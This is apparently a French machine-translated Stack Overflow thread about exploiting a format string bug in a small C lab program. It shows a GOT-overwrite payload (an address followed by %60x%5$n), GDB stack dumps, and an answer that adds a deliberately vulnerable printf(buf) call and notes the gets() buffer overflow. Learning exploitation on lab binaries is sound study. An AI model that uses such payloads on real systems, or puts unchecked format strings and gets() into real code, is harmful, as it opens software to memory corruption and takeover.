2016-09-19 1 views
0

Je suis en train d'exploiter la vulnérabilité printf avec le code C suivant:Comment exploiter la vulnérabilité de printf pour différentes méthodes de saisie?

#include <stdio.h> 
#include <stdlib.h> 

/* 
gcc -fno-stack-protector -z execstack -o test test.c 
*/ 
void attack(){ 
    printf("Dropping to shell...\n"); 
} 

int main(int argc, char **argv){ 
    char buf[100]; 

    printf("Enter user name:"); 

    gets(buf); // what if using: scanf("%s",buf); ? 

    printf("buffer (%d): %s\n",strlen(buf), buf); 

    return 0; 
} 

Ensuite, j'essaie de changer le printf @ plt pour accéder à la fonction d'attaque, en ré-écrire la valeur dans 0x804a00c

08048370 <[email protected]>: 
8048370: ff 25 0c a0 04 08  jmp *0x804a00c 
8048376: 68 00 00 00 00   push $0x0 
804837b: e9 e0 ff ff ff   jmp 8048360 <_init+0x28> 

J'ai utilisé la commande suivante pour tester dans GDB, j'essaye de changer la valeur dans 0x804a00c à 0x00000041, pour vérifier que je peux le changer. Ensuite, je peux le changer à l'adresse d'attaque().

gdb-peda$ r 
Starting program: 
Enter user name:$(printf "\x0c\xa0\x04\x08").%60x%5\$n 

Cependant, il ne fonctionne pas pour moi, l'adresse ne change pas, je l'ai vérifié la valeur dans la pile (pause à printf() adresse) et a obtenu:

[------------------------------------stack-------------------------------------] 
0000| 0xbffff070 --> 0x80485c6 ("buffer (%d): %s\n") 
0004| 0xbffff074 --> 0x26 ('&') 
0008| 0xbffff078 --> 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n") 
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4a91b2bc 
0020| 0xbffff084 --> 0xbffff0a8 (".%60x%5\\$n") 
0024| 0xbffff088 --> 0xbffff0a0 ("04\\x08\").%60x%5\\$n") 
0028| 0xbffff08c ("$(printf \"\\x0c\\xa0\\x04\\x08\").%60x%5\\$n") 

Je pense que je n'a pas passé la valeur correcte, car il a changé à un autre format. Je suppose que c'est à cause de gets(), parce que je peux le passer correctement quand j'utilise argv pour passer le: $ (printf "\ x0c \ xa0 \ x04 \ x08").% 60x% 5 \ $ n.

Est-ce que quelqu'un sait comment résoudre le problème? et de plus, que se passe-t-il si l'entrée utilise scanf (% s, buf), car je suis en train d'obtenir ce qui suit sur la pile, ce qui est également incorrect.

[------------------------------------stack-------------------------------------] 
0000| 0xbffff070 --> 0x80485f9 ("buffer (%d): %s\n") 
0004| 0xbffff074 --> 0x8 
0008| 0xbffff078 --> 0xbffff08c ("$(printf") 
0012| 0xbffff07c --> 0x0 
0016| 0xbffff080 --> 0xbffff134 --> 0x4f936a87 
0020| 0xbffff084 --> 0xbffff0a8 --> 0xb7e21c34 --> 0x2aad 
0024| 0xbffff088 --> 0xbffff0a0 --> 0xffffffff 
0028| 0xbffff08c ("$(printf") 

Répondre

0

Vous avez quelques idées fausses ici.

En premier lieu, $(cmd) est une substitution de commande shell. C'est utile lorsque vous passez des arguments: par exemple, ./foo $(python -c 'print "A"*4') est équivalent à ./foo AAAA. Si vous programmez l'entrée de stdin, vous devez utiliser un canal: par exemple, python -c 'print "A"*4' | ./foo équivaut à exécuter ./foo et à taper AAAA sur le clavier.

Deuxièmement, il n'y a actuellement aucune vulnérabilité de format dans votre code. Il existe cependant un débordement de tampon de pile (sur gets ou scanf). Une vulnérabilité de chaîne de format se produit lorsque vous appelez des fonctions telles que printf de scanf avec une chaîne de format contrôlée par l'utilisateur. Si vous en voulez un, vous pouvez changer la dernière printf à:

printf("buffer (%d): ", strlen(buf)); 
printf(buf); // <-- this is vulnerable 
printf("\n"); 

En ce qui concerne la différence entre gets(buf) et scanf("%s", buf): les deux vont arrêter à sauts de ligne/EOF, mais scanf arrêterez aussi à des espaces (qui peut être vu dans votre sortie où seulement $(printf est lue).

+0

Merci beaucoup, mais est-il possible de le tester dans gdb? car je ne peux pas lancer python pour imprimer ces valeurs dans gdb. – Eudaemon

+0

@Eudaemon Mettez votre entrée dans un fichier (disons que cela s'appelle 'input'), puis utilisez la redirection de GDB:' run